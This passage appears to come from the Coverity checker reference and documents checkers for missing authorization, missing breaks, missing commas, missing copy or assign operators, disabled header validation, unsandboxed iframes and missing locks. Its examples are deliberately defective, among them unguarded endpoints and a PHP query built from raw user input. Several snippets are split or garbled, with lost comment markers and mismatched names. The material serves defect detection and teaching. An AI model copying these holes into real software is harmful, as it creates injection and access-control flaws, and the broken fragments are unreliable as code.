- `float_non_constant_rtn_conversion` - MISRA-2004 Rule 10.2 violation, implicitly converting complex expression with underlying type `float` (32 bits) to type `double` (64 bits) in a return expression.

- `float_to_integer_conversion` - MISRA-2004 Rule 10.2 violation, implicitly converting expression: with floating type `double` to non-float ing type `uint16_t`.
- `integer_widening_cast` - MISRA-2004 Rule 10.3 violation, casting complex expression with underlying type `unsigned short` (16 bits, unsigned) to wider type `uint32_t` (32 bits, unsigned).
- `integer_signedness_changing_cast` - MISRA-2004 Rule 10.3 violation, casting complex expression with underlying type `int` (32 bits, signed) to type " `unsigned int` (32 bits, unsigned) with different signedness.
- `integer_to_float_cast` - MISRA-2004 Rule 10.3 violation, casting complex expression with integer type `int` to non-integer type `float64_t`.
- `float_widening_cast` - MISRA-2004 Rule 10.4 violation, casting complex expression with type `float` (32 bits) to wider type `float64_t` (64 bits).
- `float_to_integer_cast` - MISRA-2004 Rule 10.4 violation, casting complex expression with floating type `double` to non-floating type `uint16_t`.
- `bitwise_op_no_cast` - MISRA-2004 Rule 10.5 violation, bitwise operator `<<` applied to operand with underlying type `unsigned short` is not being immediately cast to that type.
- `bitwise_op_bad_cast` - MISRA-2004 Rule 10.5 violation, bitwise operator `<<` applied to operand with underlying type `unsigned short` is being cast to `int` rather than to that same type.

## 4.207. MISSING\_ASSIGN

Quality, Rule Checker

### 4.207.1. Overview

**Supported Languages:** C++

In Coverity Connect, MISSING\_ASSIGN is a display name for defects that are found by the C++ MISSING\_COPY\_OR\_ASSIGN checker. For more information, see MISSING\_COPY\_OR\_ASSIGN.

## 4.208. MISSING\_AUTHZ

Security Checker

### 4.208.1. Overview

**Supported Languages:** C#, Java, JavaScript, PHP, Python, Visual Basic

MISSING\_AUTHZ reports cases where a method call is not guarded by an authorization check that is applied elsewhere in the code. The checker determines which functions should be protected by which authorization checks by statistically analyzing the correlation between the two across all code.

Recognized authorization checks include:

- If statement conditions that are calls to a method that either, (a) returns a Boolean, or (b), is compared against an integer literal.
- Annotations that are applied to Web application entry points.

The checker only reports on call sites that perform sensitive actions, either directly or by calling another method that does so. Examples of built-in sensitive actions include database and filesystem operations. See Chapter 5, for information on how to model additional sensitive actions for C#, Java, and Visual Basic. See the `sensitive_action` directive for information on how to model sensitive actions for JavaScript.

**Disabled by default:** `MISSING_AUTHZ` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `MISSING_AUTHZ` along with other Web application checkers, use the `--webapp-security` option.

### 4.208.2. Defect Anatomy

A `MISSING_AUTHZ` defect shows a call site that is not protected by a specific authorization check that is applied elsewhere. If the call does not directly perform a sensitive action, additional events will demonstrate how it eventually calls a method that does.

The defect illustrates several examples of calls to the same method that are protected by the suggested authorization check. Each example shows the method call and its associated authorization check.

### 4.208.3. Examples

This section provides one or more `MISSING_AUTHZ` examples.

#### 4.208.3.1. C#

Here, the request handler `PostUnsafe` in a Web API 2 controller is missing an authorization check. Elsewhere in the program, most calls to `UpdateTheData` are only accessible by an authorized user. The checker does not report a defect at `PostAnonymousData` because it is explicitly intended for unauthorized access.

```
using System.Web.Http;
using System.Data.SqlClient;

public class MyWebService : ApiController {

 // No defect: These entry points are authorized.

 [Authorize]
 [HttpPost]
 public void PostSafeData1(String data) {
 // Here, we write some data to the database.
 // This is evidence that 'UpdateTheData' should
 // always be protected by an authorization check.
 UpdateTheData(data);
 }
}
```

```

[Authorize]
[HttpPost]
public void PostSafeData2(String data) {
 // Here, we write some data to the database.
 // This is evidence that 'UpdateTheData' should
 // always be protected by an authorization check.
 UpdateTheData(data);
}

[Authorize]
[HttpPost]
public void PostSafeData3(String data) {
 // Here, we write some data to the database.
 // This is evidence that 'UpdateTheData' should
 // always be protected by an authorization check.
 UpdateTheData(data);
}

// No defect: This entry point is intentionally unauthorized.

[AllowAnonymous]
[HttpPost]
public void PostAnonymousData(String data) {
 UpdateTheData(data);
}

// MISSING_AUTHZ defect: We forgot the authorization check!

[HttpPost]
public void PostUnsafeData(String data) {
 UpdateTheData(data);
}

// This helper method performs a "sensitive action": It updates the
// database.
private void UpdateTheData(String data) {
 var cmd = new SqlCommand("UPDATE Data SET TheValue = @Value WHERE id = 1");
 cmd.Parameters.AddWithValue("@Value", data);
 cmd.ExecuteNonQuery();
 cmd.Dispose();
}
}

```

#### 4.208.3.2. Java

**Example 1:** The method `perform_sensitive_action()` is assumed to do something that is a potentially sensitive action (for example, writing to a file).

```

class Inconsistent {
 void checked_1(User user) {
 if (is_authorized(user)) {

```

```

 perform_sensitive_action();
 }
}

void checked_2(User user) {
 if (!is_authorized(user)) {
 return;
 }
 perform_sensitive_action();
}

void checked_3(User user) {
 if (!is_authorized(user)) {
 // do nothing
 } else {
 perform_sensitive_action();
 }
}

void unchecked() {
 // Defect: The following method is usually protected by
 // the authorization check is_authorized().
 perform_sensitive_action();
}
}

```

**Example 2: Inconsistent Annotation.** This example demonstrates the inconsistent application of a Spring Security annotation to a Spring MVC Controller.

The method `write_to_database()` is assumed to update a database, which is considered to be a sensitive action.

```

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import org.springframework.security.access.prepost.PreAuthorize;

@Controller
class MyController {

 @RequestMapping("/one")
 @PreAuthorize("hasRole('ADMIN')")
 void checked_1() {
 write_to_database();
 }

 @RequestMapping("/two")
 @PreAuthorize("hasRole('ADMIN')")
 void checked_2() {
 write_to_database();
 }

 @RequestMapping("/three")
 @PreAuthorize("hasRole('ADMIN')")

```

```

void checked_3() {
 write_to_database();
}

@RequestMapping("/other")
void unchecked() {
 // Defect: The following method is usually protected by
 // the authorization check @PreAuthorize.
 write_to_database();
}
}

```

### 4.208.3.3. JavaScript

**Example 1:** If the function `perform_sensitive_action()` performs a sensitive action such as writing to a database, then `MISSING_AUTHZ` reports a defect on the call to `perform_sensitive_action` in `unchecked` because it is not guarded by a call to `is_authorized`.

```

function checked_1(user) {
 if (is_authorized(user)) {
 perform_sensitive_action();
 }
}

function checked_2(user) {
 if (!is_authorized(user)) {
 return;
 }
 perform_sensitive_action();
}

function checked_3(user) {
 if (!is_authorized(user)) {
 // do nothing
 } else {
 perform_sensitive_action();
 }
}

function unchecked() {
 perform_sensitive_action();
}

```

### 4.208.3.4. Visual Basic

The following example illustrates the use of the `MISSING_AUTHZ` checker in Visual Basic.

```

Imports System.Web.Http
Imports System.Data.SqlClient
Imports System.Web.Helpers

```

```

Public Class MissingAuthz
 Inherits ApiController

 <Authorize>
 <HttpGet>
 Public Sub PostSafeData1(ByVal user As User)
 ' Here, we write some data to the database.
 ' This is evidence that 'UpdateTheData' should
 ' always be protected by an authorization check.
 AntiForgery.Validate()
 PerformSensitiveAction()
 End Sub

 <Authorize>
 <HttpGet>
 Public Sub PostSafeData2(ByVal user As User)
 ' Here, we write some data to the database.
 ' This is evidence that 'UpdateTheData' should
 ' always be protected by an authorization check.
 AntiForgery.Validate()
 PerformSensitiveAction()
 End Sub

 <Authorize>
 <HttpGet>
 Public Sub PostSafeData3(ByVal user As User)
 ' Here, we write some data to the database.
 ' This is evidence that 'UpdateTheData' should
 ' always be protected by an authorization check.
 AntiForgery.Validate()
 PerformSensitiveAction()
 End Sub

 ' MISSING_AUTHZ defect: We forgot the authorization check!

 <HttpGet>
 Public Sub PostUnsafeData()
 AntiForgery.Validate()
 PerformSensitiveAction()
 End Sub

 ' This helper method performs a "sensitive action": It updates the
 ' database.
 Private Sub PerformSensitiveAction(data As String)
 Dim cmd = New SqlCommand("UPDATE Customers SET Name = @data WHERE id = 1")
 cmd.ExecuteNonQuery()
 cmd.Dispose()
 End Sub
End Class

```

#### 4.208.3.5. PHP

```
<?php
```

```
function write_user_comment($user, $comment) {
 $db = new mysqli($location, $username, $password, $dbName);

 // steps making sure that db is successfully connected

 $db->query("INSERT INTO CommentTable (name, comment) VALUES ($user, $comment)");

 // validate and close
}

function checked_post_comment_1($user, $comment) {
 if(isauthz()) {
 write_user_comment($user, $comment);
 }
}

function checked_post_comment_2($user, $comment) {
 if(isauthz()) {
 write_user_comment($user, $comment);
 }
}

function unchecked_post_comment($user, $comment) {
 write_user_comment($user, $comment);
}

?>
```

#### 4.208.3.6. Python

```
from sqlalchemy import Table, create_engine, MetaData, Column, String, Integer
from flask import Flask

engine = create_engine(db_location)
metadata = MetaData()

fruit_tbl = Table('fruit_count', metadata,
 Column('id', Integer, primary_key=True),
 Column('name', String),
 Column('count', Integer)
)

metadata.create_all(engine)
connection = engine.connect()

def update_fruits_count(name, newCount):
 updObj = fruit_tbl.update().values(count=newCount).where(fruit_tbl.c.name == name)
 connection.execute(updObj)

fruit_tracker = Flask(__name__)
```

```
Update apple count
@fruit_tracker.route('/apple_update/', methods=('GET', 'POST'))
def apple_update():
 if request.method == 'GET':
 newCount = request.args.get('count')
 else:
 newCount = request.form.get('count')

 if(isauthz()):
 update_fruits_count('apple', newCount)

Update orange count
@fruit_tracker.route('/orange_update/', methods=('GET', 'POST'))
def orange_update():
 if request.method == 'GET':
 newCount = request.args.get('count')
 else:
 newCount = request.form.get('count')

 update_fruits_count('orange', newCount)

if __name__ == '__main__':
 fruit_tracker.run()
```

#### 4.208.4. Options

This section describes one or more `MISSING_AUTHZ` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `MISSING_AUTHZ:stat_threshold:<percentage>` - This option sets the percentage of calls to sensitive actions that must have the same authorization check in order for the statistical analysis to conclude that the function or method should always be guarded by that authorization check. See also `enable_name_heuristics`, which affects the behavior of this option. Defaults to `MISSING_AUTHZ:stat_threshold:65`.
- `MISSING_AUTHZ:entry_point_stat_threshold:<percentage>` - This option sets the percentage of calls to sensitive actions that must have the same authorization check in order for the statistical analysis to conclude that the function or method should always be guarded by that authorization check *in a Web application entry point method*. If authorization checks are expected to occur in Web application request handlers and service methods, it might be desirable to independently adjust this threshold. See also `enable_name_heuristics`, which affects the behavior of this option. Defaults to `MISSING_AUTHZ:entry_point_stat_threshold:65`. This option only applies to C#, Java, and Visual Basic.
- `MISSING_AUTHZ:enable_name_heuristics:<boolean>` - This option enables the use of name-based heuristics to bias the checker towards methods and annotations that are likely to be authorization checks. These heuristics alter the effective statistical threshold for affected methods. This feature can be disabled if the raw mathematical percentage should be used. Defaults to `MISSING_AUTHZ:enable_name_heuristics:true`.

- `MISSING_AUTHZ:only_framework_authorization:<boolean>` - This option restricts the inferred authorization checks to only those that are known authorization frameworks (for example, Spring Security). Defaults to `MISSING_AUTHZ:only_framework_authorization:false`. This option only applies to C#, Java, and Visual Basic.

#### 4.208.5. Customizing the checker

You can use user models and directives to identify additional methods that perform sensitive actions. Defects will only be reported on method calls that include sensitive actions.

##### 4.208.5.1. C#

For C#, this action can be modelled using the following primitive:

```
Coverity.Primitives.Security.AuthzAction()
```

For a description of the security primitive, `Security.AuthzAction()`, see Section 5.2.1.3, “C# and Visual Basic Primitives”.

##### 4.208.5.2. Java

For Java, this action can be modelled using the following primitive:

```
com.coverity.primitives.SecurityPrimitives.authz_action()
```

In the following example, the `doSomething` method is modeled as a sensitive action. The `doSomethingElse` method is also considered a sensitive action because it calls a method that performs a sensitive action.

```
import com.coverity.primitives.SecurityPrimitives;

class MyClass
{
 public void doSomething() {
 SecurityPrimitives.authz_action();
 }

 public void doSomethingElse() {
 doSomething();
 }
}
```

##### 4.208.5.3. JavaScript

For JavaScript, you can model sensitive actions using the `sensitive_action` directive:

```
{
```

```
"sensitive_action" : {
 "call_on" : {
 "read_path_off_global" : [{ "property" : "addUser" }]
 }
}
```

In the following example, the `addUser` method is modeled as a sensitive action. The `addAdminUser` method is also considered a sensitive action because it calls a method that performs a sensitive action.

```
addUser ("guest");
function addAdminUser() {
 addUser ("admin");
}
//...
addAdminUser();
```

#### 4.208.5.4. Visual Basic

For Visual Basic, you can model this action using the following primitive:

```
Coverity.Primitives.Security.AuthzAction()
```

## 4.209. MISSING\_BREAK

Quality Checker

### 4.209.1. Overview

**Supported Languages:** C, C++, Java, JavaScript, Objective-C, Objective-C++, PHP, and TypeScript

MISSING\_BREAK finds many instances of missing break statements in switch statements. It reports defects when it finds missing break statements at the end of a block of code for a case or default statement. A missing break statement can lead to incorrect or unpredictable behavior. The Java version recognizes the `SuppressWarnings` annotation.

Because there are many reasons why a case intentionally does not end with a break statement, the MISSING\_BREAK checker does not report defects in cases that:

- Are followed by a case that starts with a break.
- End with a comment. The checker assumes that this comment is acknowledging a fallthrough. The comment can start anywhere on the last line, or be a multi-line C comment.
- Are empty.
- Have no control flow path because, for example, there is a return statement.
- Have at least one conditional statement that contains a break statement.

- Start and end on the same line.
- Have a top-level statement that is a call to a function that can end the program.
- Fall through to another case that has a similar numeric value when interpreted as ASCII. Values are considered similar when both are whitespace values (such as space, tab, or newline), or the two values are different cases (uppercase or lowercase) of the same letter.

However, you can change this default behavior by disabling checker options. By disabling checker options, you can check for these missing breaks to enforce coding standards, such as for MISRA.

**Enabled by default:** `MISSING_BREAK` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

## 4.209.2. Examples

This section provides one or more `MISSING_BREAK` examples.

### 4.209.2.1. C/C++ and Java

```
void doSomething(int what)
{
 switch (what) {
 case 1:
 foo();
 break;

 case 2:
 // Defect: Missing break statement in this case
 bar();
 case 3:
 gorf();
 break;
 }
}
```

### 4.209.2.2. JavaScript

```
function handleKeyPress(code) {
 switch (code) {
 case 38: // UP // Missing break after this case
 handleKeyUp();
 case 40: // DOWN
 handleKeyDown();
 break;
 case 33: // PAGE UP
 handleKeyPageUp();
 break;
 case 34: // PAGE DOWN
 handleKeyPageDown();
 }
}
```

```
 break;
 default:
 break;
 }
}
```

### 4.209.2.3. PHP

```
function test($y) {
 $x = 5;
 switch ($y) {
 case 1: // MISSING_BREAK here
 $x = 6;
 case 2:
 $x = 7;
 break;
 }
}
```

## 4.209.3. Options

This section describes one or more `MISSING_BREAK` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `MISSING_BREAK:allowFallthroughCommentAnywhere:<boolean>` - This option recognizes a comment that starts anywhere on the last line, not just at the beginning, as the fallthrough acknowledgement comment. Defaults to `MISSING_BREAK:allowFallthroughCommentAnywhere:true` (all languages).
- `MISSING_BREAK:anyLineRegex:<regular_expression>` - For this option, if any line in the case block matches the regular expression string (a Perl regular expression), then that case block is not reported. Defaults to regular expression `MISSING_BREAK:anyLineRegex:[^#]fall.?thro?u` (all languages).

Sometimes the fall-through acknowledgement is somewhere other than the last line. Set this option to the empty string to disable this behavior.

Example:

```
switch (int x) {
 case 1:
 // fallthrough
 x++;
 case 2:
 x++;
}
```

- `MISSING_BREAK:maxCountdownStartVal:<integer>` - This option sets the maximum start case value where a switch statement on a length, which represents an incremented pointer, processes

counts in reverse order. Defaults to `MISSING_BREAK:maxCountdownStartVal:16` for C, C++, Java, JavaScript, Objective-C, Objective-C++, PHP, and TypeScript (all languages).

Example:

```
switch (length) {
 case 3:
 *p++=(char)(value>>16);
 case 2:
 *p++=(char)(value>>8);
 case 1:
 *p++=(char)value;
 default:
 break;
}
```

- `MISSING_BREAK:maxReportsPerFunction:<integer>` - This option suppresses all defect reports for those functions that exceed the specified maximum number of defects found by the checker. To allow an unlimited number of defects to be reported, specify 0. Defaults to `MISSING_BREAK:maxReportsPerFunction:5` (all languages).
- `MISSING_BREAK:suppressCountdowns:<boolean>` - If this option is set to `false`, the checker will report a defect when a switch statement on a length processes counts in reverse order. Defaults to `MISSING_BREAK:suppressCountdowns:true` (all languages), which suppresses the defect report.
- `MISSING_BREAK:suppressIfLastComment:<boolean>` - If this option is set to `false`, the checker will report a defect when the code block for a case ends with a comment. Defaults to `MISSING_BREAK:suppressIfLastComment:true` (all languages), which suppresses the defect report.
- `MISSING_BREAK:suppressIfSimilarASCII:<boolean>` - If this option is set to `false`, the checker will report a defect when a case falls through to another case that has a similar numeric value when interpreted as ASCII. Values are considered similar when both are whitespace values (such as space, tab, or newline), or the two values are different cases (uppercase or lowercase) of the same letter. Defaults to `MISSING_BREAK:suppressIfSimilarASCII:true` (all languages).
- `MISSING_BREAK:suppressIfSucceedingAdjacentPair:<boolean>` - If this option is set to `true`, the checker will not report a defect when if the case block is immediately followed by two more case lines with no intervening blank lines. Defaults to `MISSING_BREAK:suppressIfSucceedingAdjacentPair:false` (all languages).

Example:

```
switch (x) {
 case 1:
 y++;
 case 2:
 case 3:
 y++;
}
```

```
}
```

- `MISSING_BREAK:suppressOnGuardedBreak:<boolean>` - If this option is set to `false`, the checker will report a defect when the code block for a case includes at least one conditional statement, and at least one of those statements includes a break statement. Defaults to `MISSING_BREAK:suppressOnGuardedBreak:true` (all languages), which suppresses the defect report.
- `MISSING_BREAK:suppressOnKillpaths:<boolean>` - If this option is set to `false`, the checker will report a defect when the top-level statement in a case is a call to a function that can end the program. Defaults to `MISSING_BREAK:suppressOnKillpaths:true` (all languages except for PHP), which suppresses the defect report.
- `MISSING_BREAK:suppressOnNextBreak:<boolean>` - If this option is set to `false`, the checker will report a defect when the case that follows the case with the missing break begins with a break statement. Defaults to `MISSING_BREAK:suppressOnNextBreak:true` (all languages) which suppresses the defect report.
- `MISSING_BREAK:suppressOnSameLine:<boolean>` - If this option is set to `false`, the checker will report a defect when a case starts and ends on the same line, which often results from macro expansions. Defaults to `MISSING_BREAK:suppressOnSameLine:true` (all languages), which suppresses the defect report.
- `MISSING_BREAK:suppressOnTerminatedBranches:<boolean>` - If this option is set to `false`, the checker will report a defect when there is no control flow statement between the start and end cases. Defaults to `MISSING_BREAK:suppressOnTerminatedBranches:true` (all languages), which suppresses the defect report.

#### Example:

```
void suppressed(int a)
{
 switch (a) {
 case 0:
 case 1: // no defect here
 ++a;
 return;

 case 2:
 ++a;
 }
}

void notSuppressed(int a)
{
 switch (a) {
 case 0:
 case 1: // defect reported here
 ++a;
 if (a & 1) return;
 }
}
```

```

case 2:
 +=a;
}
}

```



### Note

If you want to check for MISRA coding standards, set all of the options, except for `maxReportsPerFunction` and `maxCountdownStartVal`, to `false`. Set the `maxReportsPerFunction` option to 0. The value of the `maxCountdownStartVal` option is not applicable when `suppressCountdowns` is `false`.

## 4.209.4. Java Annotations

The Java `MISSING_BREAK` checker searches for the `SuppressWarnings` annotation, which overrides the default behavior of the checker.

For example, the checker does not report defects in the following cases:

```

class Test {
 int f = -1;

 @SuppressWarnings("fallthrough")
 public Test(int n) {
 switch(n) {
 case 4: this.f = 0;
 default: ++f;
 }
 }
}

@SuppressWarnings("fallthrough")
class Test2 {
 int f = -1;
 public Test2(int n) {
 switch(n) {
 case 4: this.f = 0;
 default: ++f;
 }
 }
}

```

See Section 5.4.2, “Adding Java Annotations to Increase Accuracy” and the Javadoc documentation at [http://<install\\_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html](http://<install_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html) for more information.

## 4.209.5. Events

This section describes one or more events produced by the `MISSING_BREAK` checker.

- `unterminated_case` - A case statement that does not have a break statement.
- `unterminated_default` - A default statement that does not have a break statement.

- `fallthrough` - A case falls through because of a missing break statement.

## 4.210. MISSING\_COMMA

Quality Checker

### 4.210.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

The MISSING\_COMMA checker finds omissions of a comma between lines in a string array initialization. A missing comma can lead to a single concatenated string element instead of separate string elements, and it can contribute to unexpected results or to an overrun.

**Enabled by default:** MISSING\_COMMA is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.210.2. Examples

This section provides one or more MISSING\_COMMA examples.

```
char* arr[] = {
 "a string literal" //Defect here.
 "another string literal"
};

char* arr[] = {
 "a string literal" //Defect here.

 "another string literal"
};

char* arr[] = {
 "a string literal" //"a string literal", //Defect here.
 "another string literal"
};

char* arr[] = {
 "a string literal" //NO defect here because a comma precedes
 //the first string literal in next line.
 ,"another string literal"
};
```

This checker *does not* handle cases where a macro expansion or conditional compilation is involved. In addition, the checker treats the following conditions as intentional, not as defects:

- If the last string literal in the missing-comma line ends with a space, tab, `\n`, or `\t`.
- If the first string literal in the line following the missing-comma line starts with a space, tab, `\n`, or `\t`.
- If there is more than one missing comma in the string array initialization.

- If lines following the line that is missing a comma are indented.

### 4.210.3. Events

This section describes one or more events produced by the `MISSING_COMMA` checker.

- `missing_comma` - Identifies the missing comma defect.
- `remediation` - Provides advice on fixing the missing comma defect.

## 4.211. MISSING\_COPY

Quality, Rule Checker

### 4.211.1. Overview

**Supported Languages:** C++

In Coverity Connect, `MISSING_COPY` is a display name for defects that are found by the C++ `MISSING_COPY_OR_ASSIGN` checker.

For more information, see `MISSING_COPY_OR_ASSIGN`.

## 4.212. MISSING\_COPY\_OR\_ASSIGN

Quality, Rule Checker

### 4.212.1. Overview

**Supported Languages:** C++

`MISSING_COPY_OR_ASSIGN` reports many cases where a class that owns resources, such as dynamically allocated memory or operating system handles, lacks either a user-written copy constructor or a user-written assignment operator. When this is the case, the compiler will generate the missing operator, but the compiler-generated operator only does a shallow copy. Later, when the copies are destroyed, the owned resource will be destroyed twice, leading to memory corruption. The defects reported by this checker appear as either `MISSING_COPY` or `MISSING_ASSIGN` in Coverity Connect. One, the other, or both of these can be reported for any one class.

A class is considered to own resources if its destructor calls freeing functions on fields of `this`.

To be considered an assignment operator for the purposes of this rule, an assignment operator must be usable to assign entire objects. Private copy constructors or assignment operators are assumed not to be meant for use and are not required to manage resources.

**Disabled by default:** `MISSING_COPY_OR_ASSIGN` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

## 4.212.2. Examples

This section provides one or more `MISSING_COPY_OR_ASSIGN` examples.

A simple string wrapper class: following the `free` call there is no `copy` constructor and no assignment constructor,

```
class MyString {
 char *p;
public:
 MyString(const char *s) : p(strdup(s)) {}
 // evidence of resource ownership
 ~MyString() {free(p);}
 // no copy constructor at all
 // no assignment operator at all
 const char *str() const {return p;}
 operator const char *() const {return str();}
};
```

## 4.212.3. Options

This section describes one or more `MISSING_COPY_OR_ASSIGN` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `MISSING_COPY_OR_ASSIGN:report_uncalled:<boolean>` - If this option is set to `true` (the default), the checker will report a missing copy constructor and assignment operator even if they would never be called (because the class is currently never copied). When this option is set to `false`, the checker will look for evidence of copying before reporting a defect. Defaults to `MISSING_COPY_OR_ASSIGN:report_uncalled:true` (C++).

## 4.212.4. Events

This section describes one or more events produced by the `MISSING_COPY_OR_ASSIGN` checker.

- `free_resource` - A field pointing to a resource freed by the destructor.
- `missing_assign` - A class that owns resources has no assignment operator.
- `missing_copy_ctor` - A class that owns resources has no copy constructor.

## 4.213. MISSING\_HEADER\_VALIDATION

Security

### 4.213.1. Overview

**Supported Languages:** Java

The `MISSING_HEADER_VALIDATION` checker flags situations where the Netty HTTP header validation is disabled by setting the `validate` parameter explicitly to `false` in the constructor call to the `io.netty.handler.codec.http.DefaultHttpHeaders` class. If the Netty HTTP header validation is disabled, the code becomes vulnerable to HTTP response splitting attacks if user input is written directly to an HTTP header. By default, the `validate` parameter is set to `true` to enable the Netty HTTP header validation.

The `MISSING_HEADER_VALIDATION` checker is disabled by default; you can enable it with the `--webapp-security` option of the `cov-analyze` command.

### 4.213.2. Examples

This section provides one or more `MISSING_HEADER_VALIDATION` examples.

In the following example, a `MISSING_HEADER_VALIDATION` defect is displayed for disabling the Netty HTTP header validation by setting the argument sent to the `DefaultHttpHeaders` constructor explicitly to `false`.

```
package io.netty.handler.codec.http;

import io.netty.handler.codec.http.DefaultHttpHeaders;

class Test
{
 public void testSetNullHeaderValueNotValidate() {
 HttpHeaders headers = new DefaultHttpHeaders(false); //defect here
 headers.set("test", (CharSequence) null);
 }
} SAMPLE CODE GOES HERE
```

## 4.214. MISSING\_IFRAME\_SANDBOX

Security Checker

### 4.214.1. Overview

**Supported Languages:** JavaScript

`MISSING_IFRAME_SANDBOX` looks for instances of an `iframe` with its `source` attribute pointing to a remote URL but without a `sandbox` attribute (CWE 829). Loading untrusted websites in an `iframe` without a `sandbox` can allow an attacker to break out of the `iframe` and mount Clickjacking or Phishing attacks. To prevent such attacks it is best practice to set the `sandbox` attribute of the `iframe` to grant the least privileges required to achieve the desired functionality.

**Disabled by default:** `MISSING_IFRAME_SANDBOX` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `MISSING_IFRAME_SANDBOX` along with other Web application checkers, use the `--webapp-security` option.

## 4.214.2. Defect Anatomy

A `MISSING_IFRAME_SANDBOX` defect shows the dynamic construction of an iframe, a call to an API that sets the source attribute of the iframe and evidence showing that the value of the source is a remote website. The defect can be suppressed by also setting the sandbox attribute of the iframe.

## 4.214.3. Examples

This section provides one or more `MISSING_IFRAME_SANDBOX` examples.

### 4.214.3.1. JavaScript

Consider the following JavaScript function that creates an iframe:

```
function create_iframe() {
 var iframe = document.createElement('iframe');
 var src = "https://" + "remote-website.com";
 iframe.setAttribute('src', src); // Defect here.
 return iframe;
}
```

The checker will report a defect because the iframe source points to a remote website but there is no evidence of the iframe being sandboxed. In the following example the checker will not report the defect as setting the sandbox attribute to the empty string applies all restrictions:

```
function create_iframe() {
 var iframe = document.createElement('iframe');
 var src = "https://" + "remote-website.com";
 iframe.setAttribute('src', src); // No defect here.
 iframe.setAttribute('sandbox', '');
 return iframe;
}
```

## 4.214.4. Options

This section describes one or more `MISSING_IFRAME_SANDBOX` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `MISSING_IFRAME_SANDBOX:safe_url_pattern:<regex>` - This option specifies a regular expression (Perl syntax) that matches trusted URLs. The checker will not report defects on iframes with sources matching this regular expression. Defaults to `^https?://(www.)?example\.(com|org)"` to suppress defects in test code. Setting this option overrides the default value.

This checker option is automatically set to `" "` to indicate that no URL will be considered safe if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to high.

- `MISSING_IFRAME_SANDBOX:unsafe_url_pattern:<regex>` - This option specifies a regular expression (Perl syntax) that matches untrusted URLs. The checker will report

defects on iframes with sources matching this regular expression only if they do not also match the `MISSING_IFRAME_SANDBOX:safe_url_pattern` regular expression. Defaults to `"^https?://"`. Setting this option overrides the default value.

- `MISSING_IFRAME_SANDBOX:report_on_nonconst_url:<boolean>` - Setting this option to `true` causes the checker to report defects on URL values that are not string constants, in addition to the constant string unsafe URLs specified by `MISSING_IFRAME_SANDBOX:unsafe_url_pattern:<regex>`.

This checker option is automatically set to true if the `--webapp-security-aggressiveness-level` option of the `cov-analyze` command is set to high.

## 4.215. MISSING\_LOCK

Quality, Concurrency Checker

### 4.215.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`MISSING_LOCK` finds many cases where a variable or field is normally protected by a lock/mutex, but in at least one case, is accessed without the lock held. This is a form of concurrent race condition. Race conditions can lead to unpredictable or incorrect program behavior.

`MISSING_LOCK` tracks when variables are updated with locks. If a variable update is found that does not have a lock, but usually does have a lock, a defect is reported.

**Disabled by default:** `MISSING_LOCK` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Concurrency checker enablement:** To enable `MISSING_LOCK` along with other concurrency checkers that are disabled by default, use the `--concurrency` option with the `cov-analyze` command.

### 4.215.2. Examples

This section provides one or more `MISSING_LOCK` examples.

In the following example, the lock `bongo` is acquired most of the time when the variable `bango` is accessed. When `bango` is accessed without a lock in the `lockDefect` function, a defect is reported.

```
struct bingo {
 int bango;
 lock bongo;
};
void example(struct bingo *b) {
 lock(&b->bongo); // example_lock
 b->bango++; // example_access
 unlock(&b->bongo);
 lock(&b->bongo); // example_lock
}
```

```

b->bango++; // example_access
unlock(&b->bongo);

lock(&b->bongo); // example_lock
b->bango++; // example_access
unlock(&b->bongo);
}
void lockDefect(struct bingo *b) {
 b->bango = 99; // missing_lock
}

```

### 4.215.3. Options

This section describes one or more `MISSING_LOCK` options.

You can set specific checker option values by passing them with `--checker-option` to the `coverity-analyze` command. For details, refer to the *Coverity Command Reference*.

- `MISSING_LOCK:lock_inference_threshold:<percentage>` - This option specifies the minimum percentage of accesses to a global variable or field of a struct that must be protected by a particular lock for the checker to determine that the variable or field should always be protected by that lock. Variable `v` is treated as protected by lock `l` if the proportion of the number accesses of `v` with `l` compared to the total number of accesses of `v` is less than or equal to the percentage you set. If the percentage is set to 50 when two out of four accesses of `v` occur with `l`, the checker will issue a defect. If set to 75, such a scenario would not produce a defect report. Defaults to `MISSING_LOCK:lock_inference_threshold:76` (all languages).

Example:

```
--checker-option MISSING_LOCK:lock_inference_threshold:50
```

### 4.215.4. Models

You can use the `__coverity_lock_alias__` modeling primitive to model C++ lock wrapper classes for this checker. For example:

```

struct Lock;
struct AutoLock {
 nsAutoLock(Lock *a) {
 __coverity_lock_alias__(this, a);
 __coverity_exclusive_lock_acquire__(this);
 }
 ~nsAutoLock() {
 __coverity_exclusive_lock_release__(this);
 }
 void lock() {
 __coverity_exclusive_lock_acquire__(this);
 }
 void unlock() {
 __coverity_exclusive_lock_release__(this);
 }
}

```

```
};
```

See descriptions of these primitives in Section 5.1.12.1, “Adding models for concurrency checking”.

### 4.215.5. Events

This section describes one or more events produced by the `MISSING_LOCK` checker.

- `missing_lock` - a variable is accessed without a lock.
- `example_lock` - a lock is acquired.
- `example_access` - a variable is accessed while holding the lock.

## 4.216. MISSING\_MOVE\_ASSIGNMENT

Quality Checker

### 4.216.1. Overview

**Supported Languages:** C++

`MISSING_MOVE_ASSIGNMENT` reports cases where a class does not have a move assignment operator, and its copy assignment operator is found to be applied to *rvalues*. Moving *rvalues*, instead of copying them, can enhance program performance.

